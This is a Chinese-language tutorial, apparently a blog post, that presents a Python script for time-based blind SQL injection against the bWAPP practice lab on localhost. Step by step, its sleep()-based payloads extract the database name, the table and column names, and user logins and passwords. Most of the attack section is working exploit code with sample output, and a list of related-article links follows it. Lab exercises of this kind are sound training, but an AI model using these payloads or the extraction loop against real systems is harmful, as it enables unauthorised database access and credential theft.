sql盲注python脚本学习 (基于bWAPP靶场)

全局部分

python 复制代码
# 数组转字符串
from shlex import join
# 请求
import requests
# 记时
import time

r = requests.session()

登录

python 复制代码
def login():
    login_url = 'http://127.0.0.1:1234/login.php'
    params = dict(
        login='bee',
        password='bug',
        security_level=0,
        form='submit'
    )

    res = r.post(login_url, params)
    print(res) # 返回的响应码

获取当前库名

python 复制代码
def get_db_name_length():
    len = 1
    while(1):
        sql_str = f"1' or if(length(database())={len},sleep(1),1) -- "
        url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'
        start = time.time()
        r.get(url)
        if (time.time()-start)>1: 
            return len
        len+=1

def get_db_name(max):
    db_name = [''] * max
    for len in range(1,max+1,1):
        ACI = 48
        while(ACI<128):
            sql_str = f"1' or if(ascii(substr(database(),{len},1))={ACI},sleep(1),1) -- "
            url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'
            start = time.time()
            r.get(url)
            if (time.time() - start) > 1:
                db_name[len-1]=chr(ACI)
                break
            ACI +=1
    return db_name

db_name = get_db_name(get_db_name_length())
print(join(db_name))
# 结果:b W A P P

获取全部表名

python 复制代码
def get_table_name_length():
    len = 1
    while(1):
        sql_str = f"1' or if(length((select group_concat(table_name) from information_schema.tables where table_schema='bWAPP'))={len},sleep(1),1) -- "
        url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'
        start = time.time()
        r.get(url)
        if (time.time()-start)>1:
            return len
        len+=1

def get_table_name(max):
    table_name = [''] * max
    for len in range(1,max+1,1):
        ACI = 48
        while(ACI<128):
            sql_str = f"1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='bWAPP'),{len},1))={ACI},sleep(1),1) -- "
            url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'
            start = time.time()
            r.get(url)
            if (time.time() - start) > 1:
                print(chr(ACI))
                table_name[len-1]=chr(ACI)
                break
            ACI +=1
    return table_name

table_name=get_table_name(get_table_name_length())
print(join(table_name))
# 结果:b l o g '' h e r o e s '' m o v i e s '' u s e r s '' v i s i t o r s

获取字段名

仅仅更改sql_str

python 复制代码
sql_str = f"1' or if(length((select group_concat(column_name) 
from information_schema.columns where table_schema='bWAPP' and table_name='users'))=
{len},sleep(1),1) -- "

sql_str = f"1' or if(ascii(substr((select group_concat(column_name) 
from information_schema.columns where table_schema='bWAPP' and table_name='users'),
{len},1))={ACI},sleep(1),1) -- "

获取用户信息

python 复制代码
def get_users_passwd():
    cou = 1
    while (1):
        sql_str = f"1' or if(length((select group_concat(concat(login,'-',password)) from bWAPP.users))={cou},sleep(0.1),1) -- "
        url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'
        start = time.time()
        r.get(url)
        if (time.time() - start) > 1:
            print(cou)
            break
        cou+=1

    user_str = ['']*cou
    for x in range(1,cou,1):
        ACI = 48
        while (ACI < 128):
            sql_str = f"1' or if(ascii(substr((select group_concat(concat(login,'-',password)) from bWAPP.users),{x},1))={ACI},sleep(0.1),1) -- "
            url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'
            start = time.time()
            r.get(url)
            if (time.time() - start) > 1:
                print(chr(ACI))
                user_str[x-1]=chr(ACI)
                break
            ACI+=1
    return join(user_str)
相关推荐
DKPT29 分钟前
Java桥接模式实现方式与测试方法
java·笔记·学习·设计模式·桥接模式
满昕欢喜2 小时前
SQL Server从入门到项目实践(超值版)读书笔记 20
数据库·sql·sqlserver
好好研究3 小时前
学习栈和队列的插入和删除操作
数据结构·学习
烛阴4 小时前
简单入门Python装饰器
前端·python
新中地GIS开发老师4 小时前
新发布:26考研院校和专业大纲
学习·考研·arcgis·大学生·遥感·gis开发·地理信息科学
好开心啊没烦恼4 小时前
Python 数据分析:numpy,说人话,说说数组维度。听故事学知识点怎么这么容易?
开发语言·人工智能·python·数据挖掘·数据分析·numpy
面朝大海,春不暖,花不开4 小时前
使用 Python 实现 ETL 流程:从文本文件提取到数据处理的全面指南
python·etl·原型模式
SH11HF5 小时前
小菜狗的云计算之旅,学习了解rsync+sersync实现数据实时同步(详细操作步骤)
学习·云计算
Frank学习路上5 小时前
【IOS】XCode创建firstapp并运行(成为IOS开发者)
开发语言·学习·ios·cocoa·xcode
2301_805054565 小时前
Python训练营打卡Day59(2025.7.3)
开发语言·python